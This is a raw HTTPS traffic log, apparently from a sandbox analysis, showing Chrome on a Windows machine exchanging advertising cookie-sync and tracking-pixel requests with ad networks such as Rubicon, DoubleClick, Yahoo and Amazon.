2024-01-10 23:27:24 UTC	211	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 72 74 6c 65 2e 63 6f 6d 2f 69 6e 73 79 6e 63 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 76 78 69 69 5f 70 64 69 64 3d 41 46 31 41 33 30 42 30 2d 32 34 42 38 2d 34 37 36 45 2d 41 45 44 34 2d 42 45 38 44 43 41 46 41 34 31 43 34 26 61 6d 70 3b 76 78 69 69 5f 70 69 64 3d 31 32 26 61 6d 70 3b 76 78 69 69 5f 70 69 64 31 3d 31 30 30 36 37 26 61 6d 70 3b 76 78 69 69 5f 72 63 69 64 3d 37 31 61 34 64 61 31 61 2d 62 62 37 38 2d 34 35 35 35 2d 38 64 30 64 2d 33 63 31 61 61 39 64 37 39 37 30 65 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&vxii_pid=12&vxii_pid1=10067&vxii_rcid=71a4da1a-bb78-4555-8d0d-3c1aa9d7970e">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.4	50282	15.197.193.217	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	829	OUT	GET /track/cmf/rubicon?gdpr=0&us_privacy=1YNN HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFEhUKBmNhc2FsZRILCOKvlJC3j8k8EAUYASADKAIyCwiotu2fzY_JPBAFOAFaCHB1Ym1hdGljYAI.
2024-01-10 23:27:24 UTC	692	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Length: 289 Connection: close server: Kestrel location: https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=bd6a219c-2538-477b-90ee-6d20c7860c4b&gdpr=0&gdpr_consent=&expires=30 set-cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; expires=Fri, 10 Jan 2025 23:27:24 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFEhUKBmNhc2FsZRILCOKvlJC3j8k8EAUSFgoHcnViaWNvbhILCJ74rLy3j8k8EAUYASAEKAIyCwiotu2fzY_JPBAFOAFaCHB1Ym1hdGljYAI.; expires=Fri, 10 Jan 2025 23:27:24 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-01-10 23:27:24 UTC	289	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 38 39 38 31 26 6e 69 64 3d 32 33 30 37 26 70 75 74 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 65 78 70 69 72 65 73 3d 33 30 22 3e 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 38 39 38 31 26 6e 69 64 3d 32 33 30 37 26 70 75 74 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 26 67 Data Ascii: Redirecting to: <a href="https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=bd6a219c-2538-477b-90ee-6d20c7860c4b&gdpr=0&gdpr_consent=&expires=30">https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=bd6a219c-2538-477b-90ee-6d20c7860c4b&g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.4	50269	52.45.141.6	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	648	OUT	GET /sync?pid=187&uid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.bfmio.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:24 UTC	420	IN	HTTP/1.1 204 Date: Wed, 10 Jan 2024 23:27:24 GMT Set-Cookie: __187_cid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; Domain=.bfmio.com; Max-Age=31536000; Expires=Thu, 09-Jan-2025 18:27:24 GMT-0500; Path=/; SameSite=None; Secure Set-Cookie: __io_cid=5faf053de5eb89059312b8e6b3a91eb67e185036; Domain=.bfmio.com; Max-Age=31536000; Expires=Thu, 09-Jan-2025 18:27:24 GMT-0500; Path=/; SameSite=None; Secure Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.4	50288	5.161.124.197	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	716	OUT	GET /match/bidswitch?id=%24%7Buser_id%7D&gdpr=0&consent=&usp=&ssp=medianet&bsw=f6435827-796b-4521-81e9-11e581628f69&chk=1 HTTP/1.1 Host: sync-dmp.mobtrakk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: chk=1
2024-01-10 23:27:24 UTC	470	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Length: 0 Connection: close Location: https://x.bidswitch.net/sync?dsp_id=457&user_id=NzFjM2MzNGVhMzQ0YjdiNg&gdpr=0&gdpr_consent=&us_privacy=&ssp=medianet&bsw_param=f6435827-796b-4521-81e9-11e581628f69 Set-Cookie: pid=NzFjM2MzNGVhMzQ0YjdiNg; expires=Thu, 10 Jul 2025 23:27:24 GMT; path=/; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.4	50287	52.87.108.188	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	902	OUT	GET /cookie-sync?gdpr=0&gdpr=0&userid=5415633966123335522&gdpr=0&gdpr_consent=&bee_sync_partners=pm&bee_sync_current_partner=syn&bee_sync_initiator=adx&bee_sync_hop_count=4 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AABsm07LPlAAABMLLoldYg; bitoIsSecure=ok
2024-01-10 23:27:24 UTC	468	IN	HTTP/1.1 303 See Other Date: Wed, 10 Jan 2024 23:27:24 GMT location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyOTcmdGw9MTI5NjAw&piggybackCookie=AABsm07LPlAAABMLLoldYg&gdpr=0&gdpr_consent= Server: gunicorn set-cookie: bito=AABsm07LPlAAABMLLoldYg; Domain=bidr.io; expires=Sat, 08 Feb 2025 18:27:24 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.4	50291	52.46.151.131	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	721	OUT	GET /ecm3?id=LR8EUG12-1F-5JG4&ex=d-rubiconproject.com&status=ok&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
2024-01-10 23:27:24 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: ATT0K7K7F28DJFA7MN4H Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-01-10 23:27:24 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.4	50278	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	1184	OUT	GET /cksync.php?cs=1&type=58601&ovsid=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1
2024-01-10 23:27:24 UTC	681	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1;Expires=Sat, 24 Feb 2024 23:27:24 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:24 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:24 GMT Connection: close
2024-01-10 23:27:24 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:24 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.4	50281	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	754	OUT	GET /pixel?google_nid=rp&google_cm&google_hm=TFI4RVVHMTItMUYtNUpHNA==&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:24 UTC	686	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://pixel.rubiconproject.com/exchange/sync.php?p=dfp&gdpr=0&google_gid=CAESEBXeRKK5lfxjl9tgEygaync&google_cver=1 Date: Wed, 10 Jan 2024 23:27:24 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 325 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:24 UTC	325	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 65 78 63 68 61 6e 67 65 2f 73 79 6e 63 2e 70 68 70 3f 70 3d 64 66 70 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 67 69 64 3d 43 41 45 53 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://pixel.rubiconproject.com/exchange/sync.php?p=dfp&gdpr=0&google_gid=CAES

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.4	50293	172.253.122.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	1723	OUT	GET /pagead/adview?ai=Cylub1CefZfyIAYPr0_wP_9298AqjprHLbIXIn6mtEMCNtwEQASAAYMmGgIDQJIIBF2NhLXB1Yi0yMzA1MzA0OTk5MTg4NjUzyAEJ4AIAqAMByAMCqgSqAk_QU_cO6ugHxgXt_rjXfm54JwtwPzK__4J3qleQh0T4rFES9Fcokcpa1IrhxEJLqUpQtco521q6z6wWr2Fm2B2KOEaGvjGDw-IQOalzRoyl4FPVitwIR8piAE2Nr3iOKssNiji28bGJ08mPVHgX-v_qpbsS7ZXx36A83_oBXj95v_4oUq-9ah-EaKM89TtHJJJ1jcv9yp_LbCwO3SBc1kyO2NeLs1LPTWDSUcUFsl_uh6dzCVQf3DNuNJZL6kybn1AMNlmbgYMly2y607QpWv_GwxYQJPxgYaqkFmIQh_CXq26yIRwNyr1yLHeAXnk4Qh8SfIvdqv4yuJXwyjHjjH73EEE7HquI7idIV3nvep3CGwafM45jS1k6nHgw52pGKXVqJWQbHlYFLw3gBAGABvbumo7HreyiaKAGIagHpr4bqAeW2BuoB6qbsQKoB4OtsQKoB_-esQKoB9-fsQLYBwDSCB0IgGEQATICigI6BIBAgEBIvf3BOljr9-ir_NODA4AKA_oLAggBgAwB4g0TCJzE6av804MDFYP1lAkd_24PrtAVAYAXAbIXHQobEhRwdWItMjMwNTMwNDk5OTE4ODY1Mxiaq5AB&sigh=9HdD3e5hsLY&uach_m=%5BUACH%5D&cid=CAQSTgAvHhf_CuTml4XjNhrGH-EvH6bmxMeJVbHet60GxZyZiI2P7gJs8_0p3MsS0F6QTGYvkeECjMFC4tFOQ35mixvirlysVV03TtfyIYOfmBgB&cbvp=2&vis=1 HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:24 UTC	628	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Content-Security-Policy: script-src 'none'; object-src 'none' Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Wed, 10 Jan 2024 23:27:24 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.4	50294	35.208.249.213	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	1819	OUT	GET /api/log/winnotice?tn=41b6e88a2b85b0e731ef8e73e5558712&winloss=2&id=2bbead71faf3a16516f4ce6cae6bd760&seat_id=${AUCTION_SEAT_ID}&currency=${AUCTION_CURRENCY}&bid_id=${AUCTION_BID_ID}&ad_id=${AUCTION_AD_ID}&loss=${AUCTION_LOSS}&imp_id=1&price=${AUCTION_PRICE}&test=0&time=1704929236&dp=Z8J0lIQbohIVEcPuC1ZmaSg7SNIelZzp9RcI_8xr8AI&dsp_id=22&data=mul6hJvxWUoTpElV_5Xmza8ulaQsDhmkYEIF6UyTsaYQLfpNVCwg0YMYTypvtG5b-KBR66pX0T3dR2ZzXwu2v9XyKyQgdsKWzXgswplz6_cvjRBDAa6zjPEWzPCvmmLeFEYELGpcOE_nEgDs-k3oEcKQJ2nEFBThCELsS25BLTmfk14dKEoB9leN6riHaXgpfULVi41wzUe8GTq0wcch4awZ5QgE2w4rFe75O4QSA7VOisczbJ8AHbh4eVoD0JGy44mnaR438LER_XcASNHv0kL_pWIbJza_3j0xS7mxEtxvrcGpPztUiqnrbFX1F-Y5y30pXB7Ifr8EJI-XI1tFvzBl4BUaksOX8x6V5U_6YFSF7EcZGpDddjpDY9IA_rGl8IXSuLFVKj7M_cgAN-_eYenMRSQDd5fJb0xOvdBGFl9mye3di1FcqMZYcGAkpQtBrkLEIHvXpu4ZSe31dPeTfGYe8vZ5Rf0xfUnS8GRlufseg4U4jiikdFWMtyyNVMjaHk-O4i8d0d3fk7xGW8-0_o1qbfbNorX0sduB28bi3nXn0MfCMGYskh0eTtRg9OigmxM--AIaHu61iKPANsjDXlZlEMTdtOKix5op9BXwKAdyD8Qir4srhuXfD4jPCuhRft3JhxIjQwsHAVVOBg0-IMZZQeO4BqP03u6bUYGslEG4DlPCXwVwZQAC39B2QwOp&trackingid=04a631c1403c686257d99a5a93eaf1a7&sp=Z8J0lIQbohIVEcPuC1ZmaSg7SNIelZzp9RcI_8xr8AI&cbvp=2 HTTP/1.1 Host: trace.mediago.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __mguid_=22210ca7d904fe7322qnsv00lr8eukx3
2024-01-10 23:27:24 UTC	209	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.4	50295	54.197.142.67	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	1076	OUT	GET /sync/rubicon/nocrATygFs-QLks5M0gG_Mn5EUdSAgOZEtemQ7w0kco?csrc=&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:24 UTC	873	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Length: 0 Connection: close Location: https://pixel.rubiconproject.com/tap.php?v=31950&nid=2974&put=y-oxRTZv9E2oKqOC1OTZGb482XRw0_X_d_lWHf9A--~A Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:27:24 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.4	50292	69.194.240.13	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	869	OUT	GET /csync/RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005?redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3DRX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 HTTP/1.1 Host: sync.targeting.unrulymedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
